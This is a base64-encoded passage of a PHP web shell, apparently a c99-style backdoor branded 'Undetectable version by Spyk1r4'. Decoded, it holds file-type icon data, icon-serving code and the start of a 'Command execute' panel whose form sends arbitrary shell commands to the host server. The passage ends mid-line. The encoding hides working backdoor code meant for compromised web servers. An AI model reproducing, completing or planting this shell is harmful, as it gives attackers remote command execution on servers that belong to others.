QkFBZ2dBQUFQLy8vNENBZ01EQXdJQ0FBUC8vQUFBQUFBQUFBQU5VIi4KImFHclM3aXVLUUdzWUlxcHA2UWlaUkRRV1lBSUxRUVNBMmcybzRRb0FTSEd3dkJiQU4zR1gxcVhBK3IxYUJRSFJaSE1FRFNZQ3ozZmMiLgoiSUd0R1Q4d0FVd2x0endXTldSVjNMRG54WU0xdWI2R25lRHdCQURzPSIsCiJleHRfYXZpIj0+CiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVVBTEFBQUFBQVFBQkFBZ2dBQUFQLy8vNENBZ01EQXdQOEFBQUFBQUFBQUFBQUFBQU5NIi4KIldGclM3aXVLUUdzWUlxcHA2UWlaMUZGQUNZaWpCNFJNcWpiWTAxRHdXZzQ0Z0FzclA1UUZrMjRIdU9oT0RKd1NVL0loQllUY2p4ZTQiLgoiUFlYQ3lnK1YyaTQ0WGVSbVNmWXFzR2hBQWdBNyIsCiJleHRfY2dpIj0+CiJSMGxHT0RsaEVBQVFBR1lBQUNINUJBRUFBRXdBTEFBQUFBQVFBQkFBaGdBQUFKdHFDSGQzZDdpTkdhK0hNdTdlcjlHaUM2K0lPT3U5Ii4KIkRrSkFQcXlGUXFsL04vRGxoc3l5ZmU2N0FmL1NGUC84a2YvOWxEOUVUdi9QQ3YvY1EvL2VOdi9YSWYvWktQL1JEdi9iTGYvY01haDYiLgoiTFBQWVJ2emdSK3ZneDd5Vk12L2xVdi9tVHYvZk9mL01Bdi9tY2YvTkEvL3FpZi9NQVAvVEZmL3hwN3VaVmYvV0lQL09CcXQvSHYvUyIuCiJFdi9oUCs3T09QL1dIdi93YkhOZlA0VnpWN3VQRnYvcFYvL3JYZi95Y2YvemR2LzBlVU5KV0VOS1dzeWtJazlSV015dFAvLzRpRXBRIi4KIlh2LzlxZmJwdFAvdVo5M0dpTnE2WFdwUkovL2lRdjd3c3F1RVF2L2pSQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFlZWdFeUNnMHdCaEllSEFZcUlqQUV3aG95RUFRUVhCSkNSaFFNdUE1ZVNpb29HSXdhZmk0VU0iLgoiQmFnTkZCTWNEUjRGUXd3QkFnRUdTQkJFRlN3eE5oQXlHZzZXQWt3Q0JBZ3ZGaVVpT0JFZ05VYzd3NElDTkQ4UEtDRkFPaTBKUE5LRCIuCiJBa1VuR1RrUk53TVMzNE1CSkJnZFJrSkxDRDdxZ2dFUEt4c0pLaVlUQndlSmtqaFFrazdBaHhROUZxZ0xNR0JHa0c4S0ZDZzhKS0FpIi4KIlJZdE1BZ0VBT3c9PSIsCiJleHRfY21kIj0+CiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQWNBTEFBQUFBQVFBQkFBZ2dBQUFQLy8vNENBZ01EQXdBQUFnSUNBQVAvL0FBQUFBQU5JIi4KImVMcmNKekRLQ1llOStBb2dCdmxnK0cyZFNBUUFpcElENVhKRElNKzB6TkpGa2RMM0RCZzZIbXhXTUVBQWhWbFBCaGdZZHJZaERRQ04iLgoiZG1yWUFNbjFvbnEvWUtwanZFZ0FBRHM9IiwKImV4dF9jcHAiPT4KIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBVUFMQUFBQUFBUUFCQUFndi8vL3dBQUFBQUFnSUNBZ01EQXdBQUFBQUFBQUFBQUFBTkMiLgoiV0xQYzlYQ0FTU2NaOE1sS2ljb2JCd1JrRUlrVllXcVQ0RklDb0o1djdjNnMzY3FyQXJ3aW5FLzM0OUZpTm9GdzQ0cnRscWhPTDRSYSIuCiJFcTdZckxERTdhNFNBRHM9IiwKImV4dF9pbmkiPT4KIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBWUFMQUFBQUFBUUFCQUFnZ0FBQVAvLy84REF3SUNBZ0lDQUFQLy9BQUFBQUFBQUFBTkwiLgoiYUFyQjNpb2FOa0s5TU5iSHM2bEJLSW9Db0kxb1VKNE40RENxcVlCcHVNNmhxOFAzaHdvRWdVM21hd0VMQkVhUEZpQVVBTWdZeTNWTSIuCiJTbkVqZ1BWYXJIRUhnckI0M0p2c3pzUUVBRHM9IiwKImV4dF9kaXoiPT4KIlIwbEdPRGxoRUFBUUFIY0FBQ0g1QkFFQUFKVUFMQUFBQUFBUUFCQUFod0FBQVAvLy8xNXBoY2ZiNk5Mcy83UGMvK1AwLzNKK2w5YnMiLgoiLzUybnVxaks1L24vLy9qLy8vNy8vL3IvLzB0cmxzUG4vOG5uLzhuWjV0cm03OW51LzgvcS85WHQvOXp3Lzkzdy8rajEvOUhyLytEdiIuCiIvZDd2LzczSDBNalUzOXp1Lzlici84bmU4dFhuK0s2L3o4WGovTGpWN2REcC82SzR5OGJsLzVPNDJPejIvN0hXOUp1OTJ1LzkvOFQzIi4KIi8rTC8vKzcrLyt2Ni8rLzYvOUg0LytYNi8rWGw1UHovLysvdDdmWDA4dkQvLyszLy8vUC8vL0gvLy9QNy84bnEvOGZwLzhUbDk4enIiLgoiLysvejl2VDQrK24xL2Ivay9kbnkvOUh2Lyt2NC85LzAvOWZ3LzgvdS84dnQvKy8wOXhVdlhoUXRXNEtUczJWMWt3NG9WVGRZcERaWCIuCiJwVnhxaGx4cWlFeGtpbUtCdE1QTDJGdHZqMk9WNmFPdXdwcWx1bHlOM2NuTzF3QUFYUUFBWlNNOGpFNVhqZ0FBYndBQWVVUkJZZ0FBIi4KImRBQUFkelpFYUU5d3dEWllwbVZ2aVI0OWpHMTJrQ2hGbWdZdWo2KzF4ZUxuN056ajZwbTIwb2VxeXBTMjEyU0pyYUN5eFpXeXo3UFciLgoiOWMvby84N24vOERYN01IWTdxL0s1TGZYOWFyQjFzcmwvMitmenEyOTBVMTRxN2ZDejZlMnlYdW0zMEZqbENsSGM0ZVhyNmJJK2JUSyIuCiI0cmZXK05YZTZPYnkvNVN2eldTSHIrYnI4V3VLclFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQWpnQUNzSnJEUkhTSUNEUTdJTVhEZ0p4OEV2WnVJY2JQQm9vWndiQndPTUFmTW1Zd0JDQTJzRWNOQmpKQ01ZQVRMSU9MaW9rb2NtIi4KIkMxUXNrQUNsQ3hjR0JqN0VzTkhvUUFjaVNDQzFtTkFtakpnR0dFQlFvQkhpZ0tFTkJqaGNDQkFJelJvR0Zrd1FNTktueWdnUlNSQWciLgoiMkJIcERCVWVld1JWMFBESENwNEJTZ2p3MFpHSHpKUWNFVkQ0SUVISnpZa0JmbzRzZVlHbERCd2dUQ0FBWXZGRTRLRUJKWUk0VXJQRiIuCiJDeUlJSyt3b1lqTXdRUUk2Q29yOG1LRW54UjBuQWhZS2pISkZRWUVDa3FTa1NhMTY0SU02TGhMUnJyM3d3YUJDdTNrUEZLQ2xka0FBIi4KIk93PT0iLAoiZXh0X2RvYyI9PgoiUjBsR09EbGhFQUFRQUNJQUFDSDVCQUVBQUFVQUxBQUFBQUFRQUJBQWdnQUFBUC8vLzhEQXdBQUEvNENBZ0FBQUFBQUFBQUFBQUFOUiIuCiJXRXJjcnJDUVFDc2xRQTJ3T3dkWGtJRldOVkJBK25tZTRBWkN1b2xuUndrd0Y5UWdFT1BBRkcyMUErWjRzUUhPOTRyMWVKUlRKVm1xIi4KIk1JT3JyUFNXV1pSY3phNmthb2xCQ09CMFdveFJ1ZDBKQURzPSIsCiJleHRfZXhlIj0+CiJSMGxHT0RsaEV3QU9BS0lBQUFBQUFQLy8vd0FBdmNiR3hvU0VoUC8vL3dBQUFBQUFBQ0g1QkFFQUFBVUFMQUFBQUFBVEFBNEFBQU03Ii4KIldMVGNUaVdTUWF1dEJFUTFoUCtnbDIxVEtBUUFpbzdTOEx4YUc4eDBQYk9jclFmNHROdTl3YThXSE5LS1JsNHNsK3k5WUJ1QWRFcXQiLgoieGhJQU93PT0iLAoiZXh0X2giPT4KIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBVUFMQUFBQUFBUUFCQUFndi8vL3dBQUFBQUFnSUNBZ01EQXdBQUFBQUFBQUFBQUFBTkIiLgoiV0xQYzlYQ0FTU2NaOE1sS0NjQVJSd1ZrRUFLQ0lCS21OcVZycTd3cGJNbWJiYk9ucmdJOEYrcTN3OUdPUU9NUUdaeUpPc3BuTWtLbyIuCiJXcS9Oa25iYlNnQUFPdz09IiwKImV4dF9ocHAiPT4KIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBVUFMQUFBQUFBUUFCQUFndi8vL3dBQUFBQUFnSUNBZ01EQXdBQUFBQUFBQUFBQUFBTkYiLgoiV0xQYzlYQ0FTU2NaOE1sS2ljb2JCd1JrRUFHQ0lBS0VxYUZxcGJabm1rNDIvZDQzeXJvS21MQURsUEJpczZMd0tOQUZqN2pmYVdWUiIuCiJVcVVhZ25iTGRaYStZRmNDQURzPSIsCiJleHRfaHRhY2Nlc3MiPT4KIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBWUFMQUFBQUFBUUFCQUFnZ0FBQVA4QUFQOEEvd0FBZ0lBQWdQLy9BQUFBQUFBQUFBTTYiLgoiV0VYVy9rNlJBR3NqbUZvWWdOQmJFd2pEQjI1ZEdaelZDS2dzUjhMaFNucHJQUTQwNnBhZm1rRHdVdW1JdkpCb1JBQUFsRXVERXdwSiIuCiJBQUE3IiwKImV4dF9odG1sIj0+CiJSMGxHT0RsaEV3QVFBTE1BQUFBQUFQLy8vMnRybk0zUC9GQlZoclBPOWw2SXRveXQweWhnaytYeS9XR3A0c1hsL2k2WjRtZmQvSE56Ii4KImMvLy8veUg1QkFFQUFBOEFMQUFBQUFBVEFCQUFBQVNUOE1sM3FxMW02bm1DLzRHaGJGb1hKRU8xQ0FORFNvY2lHa2JBQ0hpMjBVM1AiLgoiS0lGR0lqQVFPRFNpQldPNU5BeFJSbVRnZ0Rna21NN0U2aWlwSFpZS0JWTlFTQlNpa3VrU3dXNGp5bWN1cFlGZ0lCcUwvTUs4S0JEayIuCiJCa3gyQlhXRGZYOFRERGFGREEwS0JBZDlmbklLSFhZSUJKZ0hCUU9IY2crVkNpa1ZBNXdMcFlnYkJLdXJEcXlzbnhNT3M3UzFzeElSIi4KIkFEcz0iLAoiZXh0X2pwZyI9PgoiUjBsR09EbGhFQUFRQURNQUFDSDVCQUVBQUFrQUxBQUFBQUFRQUJBQWd3QUFBUC8vLzhEQXdJQ0FnSUNBQVA4QUFBRC9BSUFBQUFDQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFSY2NNaEprNzBqNkszRnVGYkdiVUx3SmNVaGpnSGdBa1VxRWdKTkVFQWd4RWNpIi4KIkNpOEFMc0FMYVhDR0pLNW8xQUdTQnNJQWNBQmdqZ0NFd0FNRVhwMEJCTUxsL0E2eDVXWnRQZlEyZzYrMGo4VngrN2I0L05acWdmdGQiLgoiRnhFQU93PT0iLAoiZXh0X2pzIj0+CiJSMGxHT0RkaEVBQVFBQ0lBQUN3QUFBQUFFQUFRQUlMLy8vOEFBQUNBZ0lEQXdNRC8vd0NBZ0FBQUFBQUFBQUFEVUNpNjNDRWd4aWJIIi4KImswQVFzRzIwMEFRVUpCZ0FvTWloajVkbUl4bk1KeHRxcTFkZEUwRVdPaHNHMTZtOU1vb0FpU1dFbVRpdUM0VHcyQkIwTDhGZ0lBaHMiLgoiYTAwQWpZWUJiYy9vOUhqTm5pVUFBRHM9IiwKImV4dF9sbmsiPT4KIlIwbEdPRGxoRUFBUUFHWUFBQ0g1QkFFQUFGQUFMQUFBQUFBUUFCQUFoZ0FBQUFCaUFHUExNbVhNTTB5L0psZkZMRlM2SzFyR0xXak8iLgoiTlNtdUZUV3pHa0M1SUczVE9vLzFYRTdBSngyb0Q1WDdZb1RxVVlyd1YzL2xUSFRhUVhuZlJtREdNWVhyVWpLUUh3QU1BR2ZOUkh6aSIuCiJVd3c1Q0FBcUFET1pHa2FzTFhMWVFnaElCQk4zRFZHMk5XblBSbkRXUndCT0FCNXdGUUJCQUFBK0FGRzNOQWs1QlNHSEVVcXdNQUJrIi4KIkFBQWdBQUF3QUFCZkFEZTBHeGVMQ3haY0RFSzZJVXV4S0ZqRkxFM0FKMkhITVJLaUNRV0NBZ0JtQUJwdERnK0hDQlplREFxRkJXREciLgoiTXltVUZRcFdCajJmSmhkdkRRaE9CQzZYRjNmZFIwTzZJUjJPRHdBWkFIUFpRQ1NSRWdBU0FEYVhId0FBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWVaZ0ZCUVBBR0Zob2NBZ29JN09nOEpDZ3NFQlFJV1BRQ0pna0NPa0pLVVA1ZVlVRDZQa1pNNSIuCiJOS0NLVURNeU5UZzNBZ2cyUzVlcVVFcEpEZ2NEQ0F4TVQwNmhnazI2dkF3VUZVaER0WXBDdXdaQnlCTVJSTXlDUndNR1JrVWcweElmIi4KIjFsQWVCaUVBR1JnWEVnMHQ0U3dyb0NZbERSQW40U21wS0NvUUpDL2hxVkF1Tkd6ZzhFOVJLQkVqWUJTMEpTaEdoNFVNb1lBU0JpVVEiLgoiQURzPSIsCiJleHRfbG9nIj0+CiJSMGxHT0RsaEVBQVFBRE1BQUNINUJBRUFBQWdBTEFBQUFBQVFBQkFBZy8vLy93QUFBTURBd0lDQWdJQ0FBQUFBZ0FBQS8vLy9BQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVJRRUtFd0s2VXlCekM0NzVnRUFsdEprbExSQVd6YkNsUmhySzRMeTV5Zzcvd04iLgoiekxVYUxHQlFCVjJFZ0ZMVjR4RU9TU1d0OWdRUUJwUnBxeG9WTmFQS2tGYjVFaC9MbVVHekY1cUUzK0VNSWdJQU93PT0iLAoiZXh0X3BocCI9PgoiUjBsR09EbGhFQUFRQUFBQUFDSDVCQUVBQUFFQUxBQUFBQUFRQUJBQWdBQUFBQUFBQUFJbURBNmh5NXJXMEhHb3NmZnNkVHBxdkZsZyIuCiJ0MGhreVozUTZxbG9aN0ppbW9tVkViK3VYQUFBT3c9PSIsCiJleHRfcGwiPT4KIlIwbEdPRGxoRkFBVUFLTC9BUC80LzhEQXdIOS9BUC80QUwrL3Z3QUFBQUFBQUFBQUFDSDVCQUVBQUFFQUxBQUFBQUFVQUJRQVFBTW8iLgoiR0xyYzNnT0FNWVI0T091ZHJlZWdSbEJXU0oxbHFLNXM2NExqV0YzY1FNanBKcERmNi8vQUJBQTciLAoiZXh0X3N3ZiI9PgoiUjBsR09EbGhGQUFVQU1RUkFQK2NuUDlTVXM0QUFQK2NBUC9PQUlRQUFQOWpBTTVqbk02Y1k4NmNuS1hPOThiZXhwd0FBUDh4QVAvTyIuCiJuQUFBQVAvLy8vLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDVCQUVBIi4KIkFCRUFMQUFBQUFBVUFCUUFBQVY3WUNTT1pHbWU2UG1zYk11cVVDelAwQVBMemhBYnVQblFBd2VFNTJnMGZES0NNR2dvT200UUI0R0EiLgoiR0JnYVQyZ01RWWdWalVmU1QzWW9GR0tCUmdCcVBqZ1lERUZ4WFJwREdFSUE0eEFRUU5SMU5Ib01FQUFDQUJGaEl6OHJDbmNNQUdnQyIuCiJOeXNMa0RPVFNDc0pOREphblRVcUxxTTJLYWFucUJFaEFEcz0iLAoiZXh0X3RhciI9PgoiUjBsR09EbGhFQUFRQUdZQUFDSDVCQUVBQUVzQUxBQUFBQUFRQUJBQWhnQUFBQmxPQUZnZEFGQUFBSVlDVXdBOFp3QThaOURZNEpJQyIuCiJXdi8vL3dDSVdCRTJBQUF5VUppY3FJU0hsNENBQVBENC8rRGc4UFg2LzVPWHBMN0gwKy8yL2FHbXNUSXlNdFRjNVAvL3NmTDUvOFhGIi4KIkhnQllwd0JVbGdCV24xQlFBRzhhSUFCUWhSYmZtd0Rja3YrSDExbm91RUxscml6aXBmK1YzblBBLzQwQ1V6bW0vd0E0WGhWREFBR0QiLgoiVXlXZC8waXQvMXUxLzNOekFQOTUwUDk5MG1PNS83djE0WXp2elhMcndvWEkvNXZTLzdEay93QlhvdjlzeXZSandPaGF0UUNIVjE3cCIuCiJ1bzBHVVFCV25QKys4TG01QVArajVRQlVsQUNLV2dBNGJqSlFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBZWVnQUtDZzRTRlN4WU5FdzRnTWdTT2o0OERGQWNIRVVJWlJFWW9KRFF6UFQ0L0F3Y1FDUWtnIi4KIkd3aXBxcWtxQXhJYUZSZ1hEd08xdHJjQXVicTd2SWVKRGl3aEJjUEV4QXlUbFNFWk96bzVLVFV4TUNzdkRLT2xTUnNjSER3ZUhrTWQiLgoiSFVjTXI3R3pCdWZvNkF5ODdMdStpaTBmQWZQMDlBdklFUjhaTmpjNFFTVW1Ub2dZc2NCYUFpVkZrQ2hZeUJDSWl3WGtaRDJvUjNGQiIuCiJ1NHRMQWdFQU93PT0iLAoiZXh0X3R4dCI9PgoiUjBsR09EbGhFd0FRQUtJQUFBQUFBUC8vLzhiR3hvU0VoUC8vL3dBQUFBQUFBQUFBQUNINUJBRUFBQVFBTEFBQUFBQVRBQkFBQUFOSiIuCiJTQXJFM2xESkZrYTkxcktwQS9EZ0ozSkJhWjZsc0NrVzZxcWtCNGp6RjhCUzY1NDRXOVpBVzQrZzI2Vld4Rjl3ZG93Wm16bmxFdXA3Ii4KIlVwUFdHM0lnNkhxL1htUmp1WndrQUFBNyIsCiJleHRfd3JpIj0+CiJSMGxHT0RsaEVBQVFBRE1BQUNINUJBRUFBQWdBTEFBQUFBQVFBQkFBZy8vLy93QUFBSUNBZ01EQXdJQ0FBQUFBZ0FBQS8vLy9BQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVJSVU1oSmtiMEM2SzJIdUVpUmNkc0FmS0V4a2tEZ0JvVnhzdHdBQXlwZHVvYW8iLgoiYTRTWFQwYzRCRjByVWhGQUVBUVFJOWRtZWJSRVc4eVhDNk54MlFJN0xyWWJ0cEpaTnN4Z3pXNm5MZHE0OWhJQkFEcz0iLAoiZXh0X3htbCI9PgoiUjBsR09EbGhFQUFRQUVRQUFDSDVCQUVBQUJBQUxBQUFBQUFRQUJBQWhQLy8vd0FBQVBIeDhZYUdoak5tbWFiSzhBQUFtUUFBZ0FDQSIuCiJnRE9aQURObS96T1ovelAvLzhEQXdEUE0vd0FBL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQVZrNENDT3BBaWQwQUNzYk5zTXFOcXVBaUEwQUp6U2RsOEh3TUJPVUtnaEVBcGJFU0JVRlF3QUJJQ3giLgoiT0FBTXhlYlRobUE0RW9jYXRnbllLaGFKaHhVcklCTnJoN2p5dC9QWmErMGhZYy9uMDJWNGR6WnVmWVYvUElHSmJvS0JRa0dQa0VFUSIuCiJJUUE3IgogKTsKIC8vRm9yIHNpbXBsZSBzaXplLSBhbmQgc3BlZWQtb3B0aW1pemF0aW9uLgogJGltZ2VxdWFscyA9IGFycmF5KAogICJleHRfdGFyIj0+YXJyYXkoImV4dF90YXIiLCJleHRfcjAwIiwiZXh0X2FjZSIsImV4dF9hcmoiLCJleHRfYnoiLCJleHRfYnoyIiwiZXh0X3RieiIsImV4dF90YnoyIiwiZXh0X3RneiIsImV4dF91dSIsImV4dF94eGUiLCJleHRfemlwIiwiZXh0X2NhYiIsImV4dF9neiIsImV4dF9pc28iLCJleHRfbGhhIiwiZXh0X2x6aCIsImV4dF9wYmsiLCJleHRfcmFyIiwiZXh0X3V1ZiIpLAogICJleHRfcGhwIj0+YXJyYXkoImV4dF9waHAiLCJleHRfcGhwMyIsImV4dF9waHA0IiwiZXh0X3BocDUiLCJleHRfcGh0bWwiLCJleHRfc2h0bWwiLCJleHRfaHRtIiksCiAgImV4dF9qcGciPT5hcnJheSgiZXh0X2pwZyIsImV4dF9naWYiLCJleHRfcG5nIiwiZXh0X2pwZWciLCJleHRfamZpZiIsImV4dF9qcGUiLCJleHRfYm1wIiwiZXh0X2ljbyIsImV4dF90aWYiLCJ0aWZmIiksCiAgImV4dF9odG1sIj0+YXJyYXkoImV4dF9odG1sIiwiZXh0X2h0bSIpLAogICJleHRfYXZpIj0+YXJyYXkoImV4dF9hdmkiLCJleHRfbW92IiwiZXh0X212aSIsImV4dF9tcGciLCJleHRfbXBlZyIsImV4dF93bXYiLCJleHRfcm0iKSwKICAiZXh0X2xuayI9PmFycmF5KCJleHRfbG5rIiwiZXh0X3VybCIpLAogICJleHRfaW5pIj0+YXJyYXkoImV4dF9pbmkiLCJleHRfY3NzIiwiZXh0X2luZiIpLAogICJleHRfZG9jIj0+YXJyYXkoImV4dF9kb2MiLCJleHRfZG90IiksCiAgImV4dF9qcyI9PmFycmF5KCJleHRfanMiLCJleHRfdmJzIiksCiAgImV4dF9jbWQiPT5hcnJheSgiZXh0X2NtZCIsImV4dF9iYXQiLCJleHRfcGlmIiksCiAgImV4dF93cmkiPT5hcnJheSgiZXh0X3dyaSIsImV4dF9ydGYiKSwKICAiZXh0X3N3ZiI9PmFycmF5KCJleHRfc3dmIiwiZXh0X2ZsYSIpLAogICJleHRfbXAzIj0+YXJyYXkoImV4dF9tcDMiLCJleHRfYXUiLCJleHRfbWlkaSIsImV4dF9taWQiKSwKICAiZXh0X2h0YWNjZXNzIj0+YXJyYXkoImV4dF9odGFjY2VzcyIsImV4dF9odHBhc3N3ZCIsImV4dF9odCIsImV4dF9odGEiLCJleHRfc28iKQogKTsKIGlmICghJGdldGFsbCkKIHsKICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogaW1hZ2UvZ2lmIik7CiAgaGVhZGVyKCJDYWNoZS1jb250cm9sOiBwdWJsaWMiKTsKICBoZWFkZXIoIkV4cGlyZXM6ICIuZGF0ZSgiciIsbWt0aW1lKDAsMCwwLDEsMSwyMDMwKSkpOwogIGhlYWRlcigiQ2FjaGUtY29udHJvbDogbWF4LWFnZT0iLig2MCo2MCoyNCo3KSk7CiAgaGVhZGVyKCJMYXN0LU1vZGlmaWVkOiAiLmRhdGUoInIiLGZpbGVtdGltZShfX0ZJTEVfXykpKTsKICBmb3JlYWNoKCRpbWdlcXVhbHMgYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCRpbWcsJHYpKSB7JGltZyA9ICRrOyBicmVhazt9fQogIGlmIChlbXB0eSgkaW1hZ2VzWyRpbWddKSkgeyRpbWcgPSAic21hbGxfdW5rIjt9CiAgaWYgKGluX2FycmF5KCRpbWcsJGV4dF90YXIpKSB7JGltZyA9ICJleHRfdGFyIjt9CiAgZWNobyBiYXNlNjRfZGVjb2RlKCRpbWFnZXNbJGltZ10pOwogfQogZWxzZQogewogIGZvcmVhY2goJGltZ2VxdWFscyBhcyAkYT0+JGIpIHtmb3JlYWNoICgkYiBhcyAkZCkge2lmICgkYSAhPSAkZCkge2lmICghZW1wdHkoJGltYWdlc1skZF0pKSB7ZWNobygiV2FybmluZyEgUmVtb3ZlIFwkaW1hZ2VzWyIuJGQuIl08YnI+Iik7fX19fQogIG5hdHNvcnQoJGltYWdlcyk7CiAgJGsgPSBhcnJheV9rZXlzKCRpbWFnZXMpOwogIGVjaG8gICI8Y2VudGVyPiI7CiAgZm9yZWFjaCAoJGsgYXMgJHUpIHtlY2hvICR1LiI6PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz0iLiR1LiJcIiBib3JkZXI9XCIxXCI+PGJyPiI7fQogIGVjaG8gIjwvY2VudGVyPiI7CiB9CiBleGl0Owp9CmlmICgkYWN0ID09ICJhYm91dCIpIHtlY2hvICI8Y2VudGVyPlVuZGV0ZWN0YWJsZSB2ZXJzaW9uIGJ5IDxicj4gU3B5azFyNCA8YnI+IDxpbWcgc3JjPVwiaHR0cDovL2VtcDNyb3IuY29tL2ltYWdlcy9lbXBsb2dvMS5naWZcIj48L2NlbnRlcj4iO30KPz4KPC90ZD48L3RyPjwvdGFibGU+PGEgYm9va21hcms9Im1pbmlwYW5lbCI+PGJyPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IGhlaWdodD0iMSIgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+Cjx0cj48dGQgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjIiPjxwIGFsaWduPSJjZW50ZXIiPjxiPjo6IDxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmw7ID8+YWN0PWNtZCZkPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRkKTsgPz4iPjxiPkNvbW1hbmQgZXhlY3V0ZTwvYj48L2E+IDo6PC9iPjwvcD48L3RkPjwvdHI+Cjx0cj48dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj5FbnRlcjogPC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0iY21kIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNtZCIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGNtZCk7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iY21kX3R4dCIgdmFsdWU9IjEiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iRXhlY3V0ZSI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+U2VsZWN0OiA8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PmFjdD1jbWQiIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJjbWQiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48c2VsZWN0IG5hbWU9ImNtZCI+PD9waHAgZm9yZWFjaCAoJGNtZGFsaWFzZXMgYXMgJGFscykge2VjaG8gIjxvcHRpb24gdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGFsc1sxXSkuIlwiPiIuaHRtbHNwZWNpYWxjaGFycygkYWxzWzBd